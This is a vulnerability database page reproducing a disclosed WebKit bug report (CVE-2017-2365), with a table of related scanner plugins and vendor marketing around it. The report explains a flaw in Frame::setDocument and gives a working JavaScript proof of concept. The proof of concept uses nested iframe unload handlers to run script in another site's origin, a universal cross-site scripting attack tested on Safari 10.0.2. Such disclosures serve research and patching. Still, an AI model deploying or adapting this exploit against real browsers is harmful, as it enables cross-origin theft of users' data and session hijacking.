| Reporter | Title | Published | Views | Family All 61 |
|---|---|---|---|---|
| Apple iOS < 10.2.1 Multiple Vulnerabilities | 30 Jan 201700:00 | – | nessus | |
| Safari < 10.0.3 Multiple Vulnerabilities | 1 Feb 201700:00 | – | nessus | |
| Apple TV < 10.1.1 Multiple Vulnerabilities | 1 Feb 201700:00 | – | nessus | |
| Apple TV < 10.1.1 Multiple Vulnerabilities | 30 Jan 201700:00 | – | nessus | |
| Apple iOS < 10.2.1 Multiple Vulnerabilities | 24 Jan 201700:00 | – | nessus | |
| Fedora 25 : webkitgtk4 (2017-0beb752b6e) | 1 Mar 201700:00 | – | nessus | |
| Fedora 24 : webkitgtk4 (2017-b1abcbe695) | 28 Feb 201700:00 | – | nessus | |
| GLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities | 8 Jun 201700:00 | – | nessus | |
| macOS : Apple Safari < 10.0.3 Multiple Vulnerabilities | 26 Jan 201700:00 | – | nessus | |
| openSUSE Security Update : webkit2gtk3 (openSUSE-2017-1268) | 13 Nov 201700:00 | – | nessus |
Apple WebKit: UXSS via Frame::setDocument
CVE-2017-2365
Here's a snippet of Frame::setDocument.
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction();
m_doc = newDocument.copyRef();
...
}
Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.
PoC:
"use strict";
let f = document.documentElement.appendChild(document.createElement("iframe"));
let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));
a.contentWindow.onunload = () => {
f.src = "javascript:''";
let b = f.contentDocument.appendChild(document.createElement("iframe"));
b.contentWindow.onunload = () => {
f.src = "javascript:''";
let doc = f.contentDocument;
f.onload = () => {
f.onload = () => {
f.onload = null;
let s = doc.createElement("form");
s.action = "javascript:alert(location)";
s.submit();
};
f.src = "<a href="https://abc.xyz/";" title="" class="" rel="nofollow">https://abc.xyz/";</a>
};
};
};
f.src = "javascript:''";
Tested on Safari 10.0.2(12602.3.12.0.1).
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Found by: lokihardt
# 0day.today [2018-03-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation